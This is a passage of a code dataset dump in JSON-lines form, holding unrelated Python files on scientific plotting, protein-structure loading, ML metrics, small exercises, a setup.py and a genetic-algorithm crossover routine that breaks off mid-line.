plot_container_match_fraction(nway_summary_df: pd.DataFrame) -> Figure:\n \"\"\"Given an nway summary DataFrame, produce a plot summarizing ROI\n match fractions.\n \"\"\"\n expt_id_stim_name_map = nway_summary_df.attrs['expt_id_stim_name_map']\n expt_ids = expt_id_stim_name_map.keys()\n\n match_frac_mtx = pd.DataFrame(index=expt_ids,\n columns=expt_ids,\n dtype=float)\n for _, row in nway_summary_df.iterrows():\n match_fraction = row['fraction_matched']\n match_frac_mtx[row['fixed_expt']][row['moving_expt']] = match_fraction\n match_frac_mtx[row['moving_expt']][row['fixed_expt']] = match_fraction\n np.fill_diagonal(match_frac_mtx.values, 1.0)\n\n fig, ax = plt.subplots(figsize=(12, 12))\n mat_ax = ax.matshow(match_frac_mtx, vmin=0.0, vmax=1.0, cmap='magma')\n\n for (i, j), data in np.ndenumerate(match_frac_mtx.values):\n if i == j:\n ax.text(j, i, f'{data:.3f}', ha='center', va='center',\n fontsize=18)\n else:\n ax.text(j, i, f'{data:.3f}', ha='center', va='center',\n fontsize=18, color='white')\n\n ax.xaxis.set_ticks_position('bottom')\n xy_labels = [f\"{stim_name} (Expt: {expt_id})\"\n for expt_id, stim_name in expt_id_stim_name_map.items()]\n ax.set_xticks(list(range(len(expt_ids))))\n ax.set_xticklabels(xy_labels, fontsize=18, rotation=45, ha='right')\n ax.set_yticks(list(range(len(expt_ids))))\n ax.set_yticklabels(xy_labels, fontsize=18)\n\n plt.title(\"Fraction matched ROIs across sessions\", fontsize=24, pad=20)\n fig.colorbar(mat_ax)\n return fig\n\n\ndef plot_container_warp_overlays(nway_summary_df: pd.DataFrame) -> Figure:\n \"\"\"Given an nway summary DataFrame, produce a plot that shows the\n overlap of experiment average intensity projection images after\n registration.\n \"\"\"\n expt_id_stim_name_map = nway_summary_df.attrs['expt_id_stim_name_map']\n expt_ids = expt_id_stim_name_map.keys()\n\n expt_id_avg_image_map = nway_summary_df.attrs['expt_id_avg_image_map']\n warped_images_map = nway_summary_df.attrs['warped_images']\n\n panel_len = len(expt_ids) + 1\n\n fig, axes = plt.subplots(nrows=panel_len,\n ncols=panel_len,\n figsize=(25, 25))\n # Turn off all axes in subplots\n for ax in axes.ravel():\n ax.set_axis_off()\n\n # plot unwarped base images\n for idx, _id in enumerate(expt_ids, start=1):\n session_type = '_'.join(expt_id_stim_name_map[_id].split('_')[:2])\n\n axes[0][idx].imshow(expt_id_avg_image_map[_id], cmap='gray')\n axes[0][idx].set_title(f\"Expt: {_id}\\n{session_type}\", fontsize=18)\n axes[idx][0].imshow(expt_id_avg_image_map[_id], cmap='gray')\n axes[idx][0].set_title(f\"Expt: {_id}\\n{session_type}\",\n x=-0.5, y=0.4, fontsize=18)\n\n # plot warped 'moving' expt image on 'fixed' expt image\n for row, expt_1 in enumerate(expt_ids, start=1):\n for col, expt_2 in enumerate(expt_ids, start=1):\n if expt_1 == expt_2:\n continue\n else:\n expt_1_avg_img = expt_id_avg_image_map[expt_1]\n norm_expt_1_avg_img = (\n expt_1_avg_img / float(np.amax(expt_1_avg_img)))\n\n warp_key = f\"{expt_2}_to_{expt_1}\"\n warped_avg_img = warped_images_map[warp_key]\n\n norm_warped_avg_img = (\n warped_avg_img / float(np.amax(warped_avg_img)))\n\n img_shape = norm_expt_1_avg_img.shape\n combined_img = np.zeros((img_shape[0], img_shape[1], 3))\n combined_img[:, :, 0] = norm_expt_1_avg_img\n combined_img[:, :, 1] = norm_warped_avg_img\n\n axes[row][col].imshow(combined_img)\n ssim = structural_similarity(norm_expt_1_avg_img,\n norm_warped_avg_img,\n gaussian_weights=True,\n data_range=1.0)\n axes[row][col].set_title(f\"SSIM: {ssim:.3f}\", fontsize=16)\n\n fig.tight_layout()\n return fig\n\n\ndef plot_container_warp_summary(nway_summary_df: pd.DataFrame) -> Figure:\n \"\"\"Given an nway summary DataFrame, produce a plot that shows in\n greater detail the quality of the registration between experiment\n average intensity projection images.\n \"\"\"\n expt_id_avg_image_map = nway_summary_df.attrs['expt_id_avg_image_map']\n warped_images_map = nway_summary_df.attrs['warped_images']\n\n num_ax_cols = len(nway_summary_df.index)\n\n fig, axes = plt.subplots(nrows=4,\n ncols=num_ax_cols,\n figsize=(30, 10),\n squeeze=False)\n # Turn off all axes in subplots\n for ax in axes.ravel():\n ax.set_axis_off()\n\n for idx, row in nway_summary_df.iterrows():\n fixed_expt = row['fixed_expt']\n moving_expt = row['moving_expt']\n\n moving_image = expt_id_avg_image_map[moving_expt]\n fixed_image = expt_id_avg_image_map[fixed_expt]\n warp_key = f\"{moving_expt}_to_{fixed_expt}\"\n warped_image = warped_images_map[warp_key]\n\n norm_fixed_image = fixed_image / float(np.amax(fixed_image))\n norm_warped_image = warped_image / float(np.amax(warped_image))\n img_shape = norm_fixed_image.shape\n combined_img = np.zeros((img_shape[0], img_shape[1], 3))\n combined_img[:, :, 0] = norm_fixed_image\n combined_img[:, :, 1] = norm_warped_image\n\n ssim = structural_similarity(\n fixed_image,\n warped_image,\n gaussian_weights=True)\n\n moving_stimulus_name = row['moving_expt_stim_name']\n moving_session_type = '_'.join(moving_stimulus_name.split('_')[:2])\n fixed_stimulus_name = row['fixed_expt_stim_name']\n fixed_session_type = '_'.join(fixed_stimulus_name.split('_')[:2])\n\n axes[0][idx].imshow(moving_image, cmap='gray')\n axes[0][idx].set_title(f\"Moving\\n{moving_expt}\\n{moving_session_type}\")\n\n axes[1][idx].imshow(fixed_image, cmap='gray')\n axes[1][idx].set_title(f\"Fixed\\n{fixed_expt}\\n{fixed_session_type}\")\n\n axes[2][idx].imshow(warped_image, cmap='gray')\n axes[2][idx].set_title(f\"Registered\\n{moving_expt}\")\n\n axes[3][idx].imshow(combined_img)\n axes[3][idx].set_title(f\"SSIM\\n{ssim:.3f}\", fontsize=16)\n\n fig.tight_layout()\n return fig\n\n\nclass NwaySummary(ArgSchemaParser):\n default_schema = NwayMatchSummarySchema\n\n def run(self) -> dict:\n input_maps = create_nway_input_maps(self.args['nway_input'])\n expt_id_stim_name_map, expt_id_avg_image_map = input_maps\n\n summary_df = create_nway_summary_df(expt_id_stim_name_map,\n expt_id_avg_image_map,\n self.args['nway_output'])\n\n figs = [\n plot_container_match_fraction(summary_df),\n plot_container_warp_overlays(summary_df),\n plot_container_warp_summary(summary_df)]\n\n save_dir = Path(self.args['output_directory'])\n timestamp = time.strftime('%Y_%m_%d_%H_%M_%S', time.localtime())\n\n fig_paths = [\n save_dir / f\"nway_match_fraction_plot_{timestamp}.png\",\n save_dir / f\"nway_warp_overlay_plot_{timestamp}.png\",\n save_dir / f\"nway_warp_summary_plot_{timestamp}.png\"]\n\n for fig, fig_path in zip(figs, fig_paths):\n fig.savefig(fig_path, dpi=300, bbox_inches=\"tight\")\n self.logger.info(f\"wrote {fig_path}\")\n\n return {\n \"nway_match_fraction_plot\": str(fig_paths[0]),\n \"nway_warp_overlay_plot\": str(fig_paths[1]),\n \"nway_warp_summary_plot\": str(fig_paths[2])\n }\n\n\nclass NwayDiagnostics(ArgSchemaParser):\n default_schema = NwayDiagnosticSchema\n\n def run(self):\n if self.args['use_input_dir']:\n self.args['output_pdf'] = os.path.join(\n os.path.dirname(self.args['input_json']),\n os.path.basename(self.args['output_pdf']))\n\n plot_all(self.args['input_json'], fname=self.args['output_pdf'])\n\n\nif __name__ == \"__main__\": # pragma: no cover\n nd = NwayDiagnostics()\n nd.run()\n","sub_path":"src/nway/diagnostics.py","file_name":"diagnostics.py","file_ext":"py","file_size_in_byte":26207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"368099708","text":"class Solution:\n def maxPoints(self, points):\n \"\"\"\n :type points: List[Point]\n :rtype: int\n \"\"\" \n def max_points_on_a_line_containing_point_i(i):\n \"\"\"\n Compute the max number of points\n for a line containing point i.\n \"\"\"\n def add_line(i, j, count, duplicates, horisontal_lines):\n \"\"\"\n Add a line passing through i and j points.\n Update max number of points on a line containing point i.\n Update a number of duplicates of i point.\n \"\"\"\n # rewrite points as coordinates\n x1 = points[i][0]\n y1 = points[i][1]\n x2 = points[j][0]\n y2 = points[j][1]\n # add a duplicate point\n if x1 == x2 and y1 == y2: \n duplicates += 1\n # add a horisontal line : y = const\n elif y1 == y2:\n horisontal_lines[0] += 1 # 水平线数量\n count = max(horisontal_lines[0], count)\n # add a line : x = slope * y + c\n # only slope is needed for a hash-map\n # since we always start from the same point\n else:\n slope = (x1 - x2) / (y1 - y2)\n lines[slope] = lines.get(slope, 1) + 1\n count = max(lines[slope], count)\n return count, duplicates\n \n # lines 存储当前点的斜率+点数，键：斜率；值：点数\n \n # init lines passing through point i\n lines, horisontal_lines = {}, [1]\n # One starts with just one point on a line : point i.\n count = 1\n # There is no duplicates of a point i so far.\n duplicates = 0\n # Compute lines passing through point i (fixed)\n # and point j (interation).\n # Update in a loop the number of points on a line\n # and the number of duplicates of point i.\n for j in range(i + 1, n):\n count, duplicates = add_line(i, j, count, duplicates, horisontal_lines)\n print(lines)\n return count + duplicates\n \n # If the number of points is less than 3\n # they are all on the same line.\n n = len(points)\n if n < 3:\n return n\n \n max_count = 1\n # Compute in a loop a max number of points \n # on a line containing point i.\n for i in range(n - 1):\n max_count = max(max_points_on_a_line_containing_point_i(i), max_count)\n return max_count\n\n","sub_path":"149-MaxPointsonaLine.py","file_name":"149-MaxPointsonaLine.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"536839277","text":"# coding: utf-\nclass Transaction(object):\n def __init__(self, number, name, category, date, value):\n \"\"\"\n An object to hold each individual transaction added.\n Constructor\n :param number: int\n :param name: string\n :param category: string\n :param date: datetime\n :param value: float\n \"\"\"\n self.number = number # ID Number for the transaction.\n self.name = name # Description identifier for the transaction.\n self.category = category # Category for the transaction.\n self.date = date # datetime entry for the time at which the transaction was added.\n self.value = value # Amount of the transaction.\n","sub_path":"PyBook/Containers.py","file_name":"Containers.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"9229384","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport os\nimport warnings\n\nfrom Bio import BiopythonWarning, BiopythonParserWarning, BiopythonDeprecationWarning, BiopythonExperimentalWarning\n\nwarnings.simplefilter('ignore', RuntimeWarning)\nwarnings.simplefilter('ignore', BiopythonWarning)\nwarnings.simplefilter('ignore', BiopythonParserWarning)\nwarnings.simplefilter('ignore', BiopythonDeprecationWarning)\nwarnings.simplefilter('ignore', BiopythonExperimentalWarning)\n\nfrom pdbdb.models import PDB\nfrom pdbdb.io.FPocket2SQL import FPocket2SQL\nfrom pdbdb.io.PDB2SQL import PDB2SQL\n\n\nclass PDBIO():\n\n def __init__(self, pdbs_dir=\"/data/databases/pdb/divided/\",\n entries_path=\"/data/databases/pdb/entries.idx\",\n tmp=\"/tmp/PDBIO\"):\n self.pdbs_dir = pdbs_dir\n self.entries_path = entries_path\n self.tmp = tmp\n\n def init(self):\n self.pdb2sql = PDB2SQL(self.pdbs_dir, self.entries_path)\n self.pdb2sql.load_entries()\n self.fpocket2sql = FPocket2SQL()\n self.fpocket2sql.create_or_get_pocket_properties()\n\n def pdb_path(self,pdb_code):\n return os.path.sep.join([self.pdbs_dir, pdb_code[1:3], \"pdb\" + pdb_code + \".ent\"])\n\n def process_pdb(self, pdb_code):\n assert self.pdb2sql, \"PDBIO not initialized\"\n pdb_code = pdb_code.lower()\n\n\n if PDB.objects.filter(code=pdb_code).exists():\n raise Exception(\"PDB already exists\")\n\n pdb_path = self.pdb_path(pdb_code)\n if not os.path.exists(pdb_path):\n pdb_path = self.pdb2sql.download(pdb_code)\n\n self.pdb2sql.create_pdb_entry(pdb_code, pdb_path)\n self.pdb2sql.update_entry_data(pdb_code, pdb_path)\n self.fpocket2sql.load_pdb(pdb_code)\n self.fpocket2sql.run_fpocket(self.tmp)\n self.fpocket2sql.load_pockets()","sub_path":"pdbdb/io/PDBIO.py","file_name":"PDBIO.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"186409462","text":"import numpy as np\n\ndef binary_cross_entropy(targets, predictions, epsilon=1e-9):\n predictions = np.clip(predictions, epsilon, 1. - epsilon)\n ce = - np.mean(np.log(predictions) * targets + np.log(1 - predictions) * (1 - targets))\n return ce\n\ndef cross_entropy(predictions, targets, epsilon=1e-9):\n \"\"\"\n Computes cross entropy between targets (encoded as one-hot vectors)\n and predictions.\n Input: predictions (N, k) ndarray\n targets (N, k) ndarray\n Returns: scalar\n \"\"\"\n predictions = np.clip(predictions, epsilon, 1. - epsilon)\n ce = - np.mean(np.log(predictions) * targets)\n return ce\n\n\ndef hit_ratio(y_true: np.ndarray, y_pred: np.ndarray):\n \"\"\"\n\n :param y_pred: shape [batch, pred_len]\n :param y_true: shape [batch]\n :return:\n \"\"\"\n batch_size = y_pred.shape[0]\n pred_len = y_pred.shape[1]\n y_true = np.broadcast_to(y_true, [pred_len, batch_size]).transpose()\n hit_array = np.equal(y_pred, y_true).astype(np.float)\n return np.sum(hit_array) / batch_size\n\n\ndef discounted_cumulative_gain(y_true: np.ndarray, y_pred: np.ndarray):\n batch_size = y_pred.shape[0]\n pred_len = y_pred.shape[1]\n y_true = np.broadcast_to(y_true, [pred_len, batch_size]).transpose()\n hit_array = np.equal(y_pred, y_true).astype(np.float) # [batch, pred_len]\n scores = np.hstack((hit_array[:, :1], hit_array[:, 1:] / np.log2(np.arange(2, pred_len + 1))))\n return np.mean(np.sum(scores, axis=1))","sub_path":"Eval/Metrics.py","file_name":"Metrics.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"595221738","text":"N = int(input())\nfor i in range(N):\n X, Y = map(int, input().split())\n CONTADOR = 0\n CONTADOR2 = 0\n while CONTADOR2 != Y:\n if X % 2 != 0:\n CONTADOR += X\n CONTADOR2 += 1\n X += 1\n else:\n X += 1\n print(CONTADOR)\n","sub_path":"beginner/1158.py","file_name":"1158.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"439915234","text":"from flask import Flask, request, render_template\nfrom random import randint\napp = Flask(__name__)\n\n@app.route('/zgadywanka',\n methods=['GET'])\ndef formularz_zgadywanka():\n min = 0\n max = 1000\n guess = int(((max - min) / 2) + min)\n return render_template('exercise_4.html', guess = guess, min = min, max = max)\n\npoprawna_odpowiedz = randint(0, 10)\nprint(poprawna_odpowiedz)\n@app.route('/zgadywanka_odbior',methods=['POST'])\ndef formularz_odbior():\n success = False\n while not success:\n hint = request.form['wskazowka']\n min = int(request.form['min'])\n max = int(request.form['max'])\n guess = int(request.form['guess'])\n if hint == 'wiecej':\n min = guess\n guess = int(((max - min) / 2) + min)\n return render_template('exercise_4.html', min = min, max = max, guess = guess)\n elif hint == 'mniej':\n max = guess\n guess = int(((max - min) / 2) + min)\n return render_template('exercise_4.html', min = min, max = max, guess = guess)\n else:\n return 'Zgadłem!'\n\n\n\n\nif __name__ == \"__main__\":\n app.run(port=5001)","sub_path":"exercise_4.py","file_name":"exercise_4.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"624568291","text":"from tqdm import tqdm\nimport torch\nfrom miniflask import outervar\n\n\ndef validate(state, event, *args, valloader=None, net=outervar, evalmode=True, plot=True, dummy=False, **kwargs):\n del args, kwargs # unused\n if not valloader:\n valloader = event.dataloader(\"val\")\n\n if valloader is not None:\n if evalmode:\n net.eval()\n acc_1 = event.Welford()\n acc_5 = event.Welford()\n with torch.no_grad():\n if \"tqdm_batch\" not in state:\n state[\"tqdm_batch\"] = tqdm(total=len(valloader), position=3, desc=\"Validation\", dynamic_ncols=False)\n for _, data in enumerate(valloader):\n if dummy:\n continue\n _inputs = event.send_data_to_device(data[0])\n _labels = event.send_labels_to_device(data[1])\n state[\"main.labels\"] = _labels\n output = net(_inputs)\n _, pred = output.topk(5, 1, largest=True, sorted=True)\n\n _labels = _labels.view(_labels.size(0), -1).expand_as(pred)\n correct = pred.eq(_labels).float()\n\n # compute top-1/top-5\n correct_5 = correct[:, :5].sum(1).cpu().numpy()\n correct_1 = correct[:, :1].sum(1).cpu().numpy()\n\n [acc_1(c) for c in correct_1] # pylint: disable=expression-not-assigned\n [acc_5(c) for c in correct_5] # pylint: disable=expression-not-assigned\n\n state[\"tqdm_batch\"].update(1)\n state[\"tqdm_batch\"].reset()\n state[\"tqdm_batch\"].clear()\n\n state[\"val_accuracy\"] = acc_1.mean\n net.train()\n\n if plot:\n event.optional.plot_scalar(acc_1.mean, title=\"validation_acc_1\")\n event.optional.plot_scalar(acc_5.mean, title=\"validation_acc_5\")\n\n event.optional.reset_dataloader(\"val\")\n\n\ndef register(mf):\n mf.load('Welford')\n mf.register_event('after_epoch', validate)\n # mf.register_event('after_training', validate)\n mf.register_event('validate', validate)\n","sub_path":"grp_modules/main/validate/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"476826663","text":"# Author imagean\n#!/usr/bin/python\n# -*- coding:utf-8\nimport cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimg2 = np.zeros((472,472,3), np.uint8)\nimg1 = cv.imread(\"C:/Users/19845/Desktop/02gaussian.jpg\")\nimg2[:] = 255 - img1[:]\nimgcolor = cv.imread(\"C:/Users/19845/Desktop/02gaussian.jpg\")\nimgtemp = np.zeros((imgcolor.shape[0],imgcolor.shape[1],3),np.uint8)\n(b,g,r) = cv.split(imgcolor)\nimgcolor= cv.merge((r,g,b))\nimgtemp[:,:,:] = 255 -imgcolor[:,:,:]\nimg =[img1,img2,imgcolor,imgtemp]\ntitles =['256-gary image','oppsite image','24-bit image ','opposite image']\nfor i in range(4):\n plt.subplot(1,4,i+1)\n plt.imshow(img[i])\n plt.yticks()\n plt.xticks()\n plt.title(titles[i])\nplt.show()","sub_path":"Image/03/001oppsite-gray.py","file_name":"001oppsite-gray.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"487384746","text":"# -*- coding: utf-8 -*- \n\n#重回帰分析\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\nimport statsmodels\nimport statsmodels.api as sm\n\nfrom statsmodels.stats.outliers_influence import *\n\n#重回帰モデルの作成\ndef stats_regress(df_x, df_y):\n model = sm.OLS(df_y, sm.add_constant(df_x))\n result = model.fit()\n print(result.summary())\n\n return model\n\n#VIF(分散拡大係数)を計算する\ndef show_vif(model):\n num_cols = model.exog.shape[1]\n vifs = [variance_inflation_factor(model.exog, i) for i in range(num_cols)]\n pdv = pd.DataFrame(vifs, index=model.exog_names, columns=[\"VIF\"])\n print(pdv)\n\nif __name__ == '__main__':\n dset = datasets.load_boston()\n boston = pd.DataFrame(dset.data)\n boston.columns = dset.feature_names\n target = pd.DataFrame(dset.target)\n\n model = stats_regress(boston, target)\n show_vif(model)\n","sub_path":"data_analitics/multi_regression.py","file_name":"multi_regression.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"581469139","text":"import os\nfrom setuptools import setup, find_packages\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(here, 'README.rst')).read()\nCHANGES = open(os.path.join(here, 'docs/changes.rst')).read()\n\nsetup(\n name=\"MyTardis\",\n version=\"3.0.0-alpha1\",\n url='http://github.com/mytardis/mytardis',\n license='BSD',\n description=\"Next iteration of the TARDIS framework. No digital \" + \\\n \"repository required. Federated web stores + ftp access instead.\",\n long_description=README + '\\n\\n' + CHANGES,\n author='Steve Androulakis',\n author_email='steve.androulakis@monash.edu',\n packages=find_packages(),\n namespace_packages=['tardis'],\n install_requires=[\n 'setuptools',\n 'lxml',\n 'feedparser',\n 'elementtree',\n 'django==1.4.1',\n 'django-registration',\n 'django-extensions',\n 'django-form-utils',\n 'django-haystack',\n 'django-bootstrap-form',\n 'celery==2.5.5', # Delayed tasks and queues\n 'django-celery==2.5.5',\n 'django-kombu',\n 'pysolr',\n 'beautifulsoup4',\n 'south',\n 'httplib2',\n 'python-magic', # File type detection\n 'pytz', # Timezone library\n 'iso8601', # ISO8601 time formatting\n 'pyoai', # For OAI-PMH provider\n 'Wand==0.1.10', # For image file conversion\n 'django-mustachejs', # For client-side Mustache template helpers\n 'pystache', # For server-side Mustache rendering to aid SEO\n 'rdflib', # For ANZSRCO parsing for ANZSRC FoR codes\n 'rdfextras', # For parsing n3 ANZSRCO\n ],\n dependency_links = [\n 'https://github.com/dahlia/wand/tarball/warning-bugfix#egg=Wand-0.1.10',\n 'https://github.com/UQ-CMM-Mirage/django-celery/tarball/2.5#egg=django-celery-2.5.5',\n 'https://github.com/defunkt/pystache/tarball/v0.5.2#egg=pystache-0.5.2'\n ]\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"434676204","text":"from tkinter import *\nfrom tkinter.messagebox import showinfo\n\n\ndef reply():\n showinfo(title='poupup', message='Button pressed!')\n\n\nwindow = Tk()\nbutton = Button(window, text='press', command=reply, width=2, height=1)\nbutton.pack()\nwindow.mainloop()\n","sub_path":"demo/tkinter001.py","file_name":"tkinter001.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"593217800","text":"#导入json包\nimport json\nimport pygal_maps_world.maps\nfrom country_codes import get_country_code\nfrom pygal.style import LightColorizedStyle, RotateStyle\n\n#将数据加载到列表中\nfilename = 'data_json.json'\nwith open(filename) as f:\n pop_data = json.load(f)\n\n# 创建一个包含人口数量的字典\ncc_populations = {}\ncc2_populations = {}\n\n#打印每个国家2010年人口的数量\ndef get_population_year(value):\n for pop_dict in pop_data:\n if pop_dict['Year'] == value:\n country_name = pop_dict['Country Name']\n population = int(pop_dict['Value'])\n code = get_country_code(country_name)\n if code:\n cc_populations[code] = population\n return cc_populations\n # print(code + ':' + str(population))\n # else:\n # print('ERROR - ' + country_name)\n\n\n\n\n#打印每个国家2011年人口的数量\n# for pop_dict in pop_data:\n# if pop_dict['Year'] == 2011:\n# country_name = pop_dict['Country Name']\n# population = int(pop_dict['Value'])\n# code = get_country_code(country_name)\n# if code:\n# cc2_populations[code] = population\ncc_populations = get_population_year(2010)\n#根据人口数量将所有的国家分成三组\ncc_pop_1, cc_pop_2, cc_pop_3 = {}, {}, {}\nfor cc, pop in cc_populations.items():\n if pop < 10000000:\n cc_pop_1[cc] = pop\n elif pop < 1000000000:\n cc_pop_2[cc] = pop\n else:\n cc_pop_3[cc] = pop\nprint(len(cc_pop_1),len(cc_pop_2),len(cc_pop_3))\n\n\nwm = pygal_maps_world.maps.World()\nwm.style = LightColorizedStyle\nwm.style = RotateStyle('#336699', base_style=LightColorizedStyle)\nwm.title = 'World Population in 2010,2011, by Country'\n# wm.add('2010', cc_populations)\n# wm.add('2011', cc2_populations)\nwm.add('0-10m', cc_pop_1)\nwm.add('10m-1bn', cc_pop_2)\nwm.add('>1bn', cc_pop_3)\n\nwm.render_to_file('world_populations.svg')\n","sub_path":"数据可视化项目/world_population.py","file_name":"world_population.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"365985803","text":"import os\nimport logging\nimport click\nimport pandas as pd\nimport json\nfrom builtin_score import ioutil\nimport numpy as np\n\nlogging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s',\n datefmt='%m/%d/%Y %H:%M:%S',\n level=logging.INFO)\nlogging.info(f\"in {__file__} v1\")\nlogger = logging.getLogger(__name__)\n\ndef get_category(prob, categories):\n pred = np.argsort(prob)[::-1] ##[::-1] inverse order\n # Get top1 label\n top1 = categories[pred[0]]\n # Get top5 label\n #top5 = [synset[pred[i]] for i in range(5)]\n return top1\n\ndef get_categories(prob, categories):\n result=[]\n for i in range (len(prob)): \n category = get_category(prob[i], categories)\n result.append(category)\n return result\n\ndef save_categories_to_file(categories, file_name):\n with open(file_name, 'w') as fp:\n json.dump(categories, fp)\n\ndef read_categories_from_file(file_name):\n categories = []\n if(file_name.endswith(\".json\")):\n with open(file_name) as f:\n categories = json.load(f)\n else:\n categories = [l.strip() for l in open(file_name).readlines()]\n return categories\n\n\nAPPEND_CATEGORY_COLUMN_TO_OUTPUT_KEY = \"Append category column to output\"\nCATEGORY_FILE_NAME_KEY = \"Category File Name\"\nPROBABILITY_COLUMN_NAME_KEY = \"Probability Column Name\"\nCATEGORY_COL_NAME = \"Category\"\n\nclass Process:\n def __init__(self, meta_path, meta: dict = {}):\n append_score_column_to_output_value_str = meta.get(APPEND_CATEGORY_COLUMN_TO_OUTPUT_KEY, None)\n self.append_score_column_to_output = isinstance(append_score_column_to_output_value_str, str) and\\\n append_score_column_to_output_value_str.lower() == \"true\"\n print(f\"self.append_score_column_to_output = {self.append_score_column_to_output}\")\n\n self.prob_col = str(meta.get(PROBABILITY_COLUMN_NAME_KEY, ''))\n file_name = str(meta.get(CATEGORY_FILE_NAME_KEY, ''))\n self.file_name = os.path.join(meta_path, file_name)\n logger.info(f\"reading from {self.file_name}\")\n self.categories = read_categories_from_file(self.file_name)\n\n def run(self, input_df: pd.DataFrame, meta: dict = None):\n print(input_df.columns)\n result = get_categories(input_df[self.prob_col], self.categories)\n if(self.append_score_column_to_output):\n input_df.insert(len(input_df.columns), CATEGORY_COL_NAME, result, True)\n return input_df\n else:\n df = pd.DataFrame({'Category': result})\n return df\n\n@click.command()\n@click.option('--input_path', default=\"datas/mnist\")\n@click.option('--meta_path', default=\"model/vgg\")\n@click.option('--output_path', default=\"outputs/mnist\")\n@click.option('--file_name', default=\"\")\n@click.option('--prob_col', default=\"\")\n@click.option('--append_category_column_to_output', default=\"True\")\ndef run(input_path, meta_path, output_path, file_name, prob_col, append_category_column_to_output):\n \"\"\"\n read\n \"\"\"\n \n meta = {\n CATEGORY_FILE_NAME_KEY: file_name,\n PROBABILITY_COLUMN_NAME_KEY: prob_col,\n APPEND_CATEGORY_COLUMN_TO_OUTPUT_KEY: append_category_column_to_output\n }\n\n proccesor = Process(meta_path, meta)\n df = ioutil.read_parquet(input_path)\n result = proccesor.run(df)\n print(result)\n ioutil.save_parquet(result, output_path, True)\n\n# python -m dstest.postprocess.prob_to_category --input_path outputs/imagenet/ouput --meta_path model/vgg --output_path outputs/imagenet/categories --file_name=synset.json --prob_col=import/prob --append_category_column_to_output True\nif __name__ == '__main__':\n #categories = read_categories_from_file(\"model/vgg/synset.txt\")\n #save_categories_to_file(categories, \"model/vgg/synset.json\")\n run()\n","sub_path":"dstest/dstest/postprocess/prob_to_category.py","file_name":"prob_to_category.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"281629614","text":"from typing import List\n\nimport numpy as np\n\nfrom ag.crossovers.crossover import CrossOver\nfrom domain.cities import EuclideanCity\nfrom domain.path.euclidean_extractor import EuclideanPathParentExtractor\nfrom domain.path.path_population import PathPopulation\nfrom domain.path.path_representation import PathRepresentation\n# [4,5,6] -> [1,6,8]\n# [1,6,8] -> [4,5,6]\n#\n# [8] -> [6] -> [6] ->[4]\nfrom utils.logger import get_logger\n\nlogger = get_logger(__name__)\n\n\ndef reallocate(parent, original, replacer, cut0, cut1):\n offspring = np.zeros(shape=parent.shape, dtype=int)\n logger.debug(f\"initial offspring: {offspring}\")\n offspring[cut0:cut1] = replacer\n logger.debug(f\"replace offspring: {offspring}\")\n offspring[0:cut0] = [\n parent[i] if parent[i] not in replacer else int(resolve(parent[i], offspring, original, replacer))\n for i in\n range(0, cut0)]\n logger.debug(f\"first side offspring: {offspring}\")\n for i in range(cut1, len(parent)):\n if parent[i] in replacer:\n logger.debug(f\"[{i}]Resolving conflict: \")\n v = resolve(parent[i], offspring, original, replacer)\n logger.debug(f\"Conflict resolved: {v}\")\n else:\n logger.debug(f\"[{i}]No conflict found\")\n v = parent[i]\n offspring[i] = v\n\n logger.debug(f\"second side offspring: {offspring}\")\n\n return offspring\n\n\ndef resolve(v, offspring, original: np.array, replacer: np.array):\n logger.debug(f\"v:{v}\\to:{original}, r:{replacer}\")\n idx = np.where(replacer == v)[0][0]\n logger.debug(f\"Position of {v}: {idx}\")\n new_v = original[idx]\n count = 0\n while True:\n logger.debug(f\"While...{new_v}\")\n if new_v not in replacer:\n logger.debug(f\"Assuming {v} as {new_v}\")\n break\n else:\n idx = np.where(replacer == new_v)[0][0]\n new_v = original[idx]\n count += 1\n if count == 50:\n return [a for a in original if a not in offspring][0]\n return new_v\n\n\nclass PMXCrossOver(CrossOver):\n def cross(self, parents: List[PathRepresentation], offspring_count: int = 1, more=None) -> List[PathRepresentation]:\n p1, p2 = parents[0], parents[1]\n offspring = []\n gene_count = len(p1)\n cuts = np.random.randint(0, gene_count, size=2)\n cuts = np.sort(cuts)\n parent1_cut, parent2_cut = p1[cuts[0]:cuts[1]], p2[cuts[0]:cuts[1]]\n offspring.append(reallocate(p1, parent1_cut, parent2_cut, cuts[0], 